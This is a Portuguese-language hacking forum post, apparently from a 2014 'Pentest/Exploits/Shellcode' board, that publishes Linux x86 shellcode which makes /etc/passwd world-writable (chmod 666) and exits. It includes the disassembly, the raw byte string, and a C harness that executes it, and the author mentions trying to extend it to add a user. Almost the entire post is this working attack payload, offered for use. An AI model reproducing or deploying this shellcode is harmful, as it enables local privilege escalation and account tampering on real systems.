seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Você não está conectado. Conecte-se ou registre-se

 » Pentest » Exploits / Shellcode / Fixed » Shellcode chmod 666 /etc/passwd & exit

Shellcode chmod 666 /etc/passwd & exit

Ver o tópico anterior Ver o tópico seguinte Ir em baixo  Mensagem [Página 1 de 1]

1 Shellcode chmod 666 /etc/passwd & exit em Qua Set 17, 2014 9:49 pm

mmxm


avançado
avançado
Testado em linux x86. Tentei fazer ele criar um usuario , mas ainda nao consegui , mas o chmod ta funcionando

Código:

code:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 31 db                 xor    %ebx,%ebx
 8048064: 31 c9                 xor    %ecx,%ecx
 8048066: 51                   push   %ecx
 8048067: 66 b9 b6 01           mov    $0x1b6,%cx
 804806b: 68 73 73 77 64       push   $0x64777373
 8048070: 68 63 2f 70 61       push   $0x61702f63
 8048075: 68 2f 2f 65 74       push   $0x74652f2f
 804807a: 89 e3                 mov    %esp,%ebx
 804807c: 6a 0f                 push   $0xf
 804807e: 58                   pop    %eax
 804807f: cd 80                 int    $0x80
 8048081: 6a 01                 push   $0x1
 8048083: 58                   pop    %eax
 8048084: cd 80                 int    $0x80

Código:
#include <stdio.h>
#include <string.h>

main(){
 char sh3llc0d3[]=
 "\x31\xc0\x31\xdb\x31\xc9\x51\x66\xb9\xb6\x01"
 "\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68"
 "\x2f\x2f\x65\x74\x89\xe3\x6a\x0f\x58\xcd\x80"
 "\x6a\x01\x58\xcd\x80";
 printf("Size: %d\n",strlen(sh3llc0d3));
 int (*ret)() = (int(*)())sh3llc0d3;
 ret();
}


_________________ASSINATURA_________________
[Você precisa estar registrado e conectado para ver esta imagem.]

Ver o tópico anterior Ver o tópico seguinte Voltar ao Topo  Mensagem [Página 1 de 1]

Permissão deste fórum:
Você não pode responder aos tópicos neste fórum